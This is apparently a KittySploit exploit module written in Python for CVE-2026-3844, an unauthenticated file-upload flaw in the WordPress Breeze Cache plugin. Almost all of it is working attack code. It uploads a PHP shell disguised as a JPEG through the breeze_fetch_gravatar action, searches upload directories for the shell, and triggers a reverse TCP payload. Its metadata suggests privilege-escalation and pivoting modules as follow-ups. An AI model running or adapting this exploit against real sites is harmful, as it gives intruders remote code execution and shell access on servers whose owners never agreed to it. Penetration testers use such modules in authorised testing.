WordPress Breeze Cache <= 2.4.4 - Unauthenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
from typing import List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

_PLUGIN = "breeze"
_VULN_HIGH = (2, 4, 4)
_AJAX_ACTION = "breeze_fetch_gravatar"
_UPLOAD_ENDPOINTS = (
    "/wp-admin/admin-ajax.php",
    "/wp-content/plugins/breeze/inc/class-breeze-cache-cronjobs.php",
    "/wp-cron.php",
)


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "WordPress Breeze Cache <= 2.4.4 - Unauthenticated RCE",
        "description": (
            "CVE-2026-3844 — Unauthenticated arbitrary file upload via breeze_fetch_gravatar "
            "when Breeze 'Host Files Locally - Gravatars' is enabled. Uploads PHP to "
            "wp-content/uploads/avatars/, gravatars/, or cache/breeze/."
        ),
        "author": ["Tausif Zaman", "KittySploit Team"],
        "cve": ["CVE-2026-3844"],
        "arch": [Arch.PHP],
        "platform": Platform.MULTI,
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2026-3844",
            "https://github.com/tausifzaman",
        ],
        "tags": [
            "wordpress",
            "breeze",
            "file-upload",
            "rce",
            "unauthenticated",
            "cve-2026-3844",
        ],
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 6,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    skip_version_check = OptBool(
        False,
        "Attempt exploit even when plugin version appears patched or unknown",
        required=False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path or "/")

    def _path(self, suffix: str) -> str:
        base = self._wp_base()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{base}{suffix}" if base != "/" else suffix

    def _fetch_breeze_version(self) -> Tuple[str, str]:
        wp_base = self._wp_base()
        version = self.wp_plugin_version(_PLUGIN, wp_base)
        if version:
            return version, self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt")

        candidates = [
            self.wp_plugin_path(wp_base, _PLUGIN, "readme.txt"),
            self.wp_plugin_path(wp_base, _PLUGIN, "breeze.php"),
        ]
        for path in candidates:
            response = self.http_request(method="GET", path=path, allow_redirects=True)
            if not response or response.status_code != 200:
                continue
            body = response.text or ""
            for pattern in (
                r"Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
                r"Version:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)",
            ):
                match = re.search(pattern, body, re.IGNORECASE)
                if match:
                    return match.group(1).strip(), path
            if "Breeze" in body or "breeze" in body.lower():
                return "", path
        return "", ""

    def _version_vulnerable(self, version: str) -> Optional[bool]:
        if not version:
            return None
        return self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH)

    def _shell_paths(self, filename: str) -> List[str]:
        rel_paths = [
            f"wp-content/uploads/avatars/{filename}",
            f"wp-content/uploads/gravatars/{filename}",
            f"wp-content/uploads/breeze/gravatars/{filename}",
            f"wp-content/cache/breeze/{filename}",
        ]
        return [self._path(f"/{rel}") for rel in rel_paths]

    def _looks_like_shell(self, body: str) -> bool:
        text = body or ""
        markers = ("<?php", "Upload successful", "<form", "system(", "passthru(")
        return any(marker in text for marker in markers)

    def _probe_shell(self, paths: List[str]) -> Optional[str]:
        for shell_path in paths:
            response = self.http_request(method="GET", path=shell_path, timeout=10)
            if response and response.status_code == 200 and self._looks_like_shell(response.text or ""):
                return shell_path
        return None

    def _upload_shell(self, filename: str, shell_body: bytes) -> None:
        data = {
            "action": _AJAX_ACTION,
            "email_hash": "00000000000000000000000000000000",
            "size": "80",
        }
        headers = {
            "X-Requested-With": "XMLHttpRequest",
            "Referer": self._path("/"),
        }
        files = {
            "gravatar_file": (filename, shell_body, "image/jpeg"),
        }

        for endpoint in _UPLOAD_ENDPOINTS:
            response = self.http_request(
                method="POST",
                path=self._path(endpoint),
                data=data,
                files=files,
                headers=headers,
                timeout=20,
            )
            if response and response.status_code < 400:
                print_info(f"{endpoint} -> HTTP {response.status_code}")

    def check(self):
        version, evidence = self._fetch_breeze_version()
        if not evidence:
            return {
                "vulnerable": False,
                "reason": "Breeze Cache plugin not detected",
                "confidence": "low",
            }

        vuln = self._version_vulnerable(version)
        if vuln is True:
            return {
                "vulnerable": True,
                "reason": f"Breeze {version} <= 2.4.4 detected (local Gravatar hosting must be enabled)",
                "confidence": "high",
            }
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": f"Breeze {version} appears patched (> 2.4.4)",
                "confidence": "high",
            }
        return {
            "vulnerable": True,
            "reason": "Breeze plugin detected but version unknown — may be affected",
            "confidence": "medium",
        }

    def run(self):
        print_status("CVE-2026-3844 — Breeze Cache unauthenticated file upload")

        if not self.payload:
            print_error("No payload generated. Set a PHP payload (e.g. payloads/singles/cmd/php/reverse_tcp).")
            return False

        version, evidence = self._fetch_breeze_version()
        if not evidence:
            print_error("Breeze Cache plugin not detected")
            self.not_vulnerable()
            return False

        vuln = self._version_vulnerable(version)
        if version:
            flag = "affected" if vuln else "patched"
            print_info(f"Breeze version: {version} ({flag})")
        else:
            print_warning("Breeze detected but version could not be determined")

        if vuln is False and not self.skip_version_check:
            print_error("Target version appears patched (> 2.4.4). Use skip_version_check to force.")
            self.not_vulnerable()
            return False

        filename = f"{self.random_text(8)}.php"
        shell_body = f"<?php {self.payload} ?>".encode()

        print_status("Uploading shell via breeze_fetch_gravatar...")
        self._upload_shell(filename, shell_body)

        shell_paths = self._shell_paths(filename)
        print_status("Probing uploaded shell locations...")
        shell_path = self._probe_shell(shell_paths)

        if not shell_path:
            print_warning("Shell not confirmed — manual verification may be needed:")
            for candidate in shell_paths:
                print_info(candidate)
            return False

        print_success(f"Shell online: {shell_path}")
        print_status("Triggering payload (check listener if using reverse_tcp)...")
        trigger = self.http_request(method="GET", path=shell_path, timeout=15)
        if trigger and trigger.status_code == 200:
            print_success("Shell triggered successfully")

        self.vulnerable()
        return True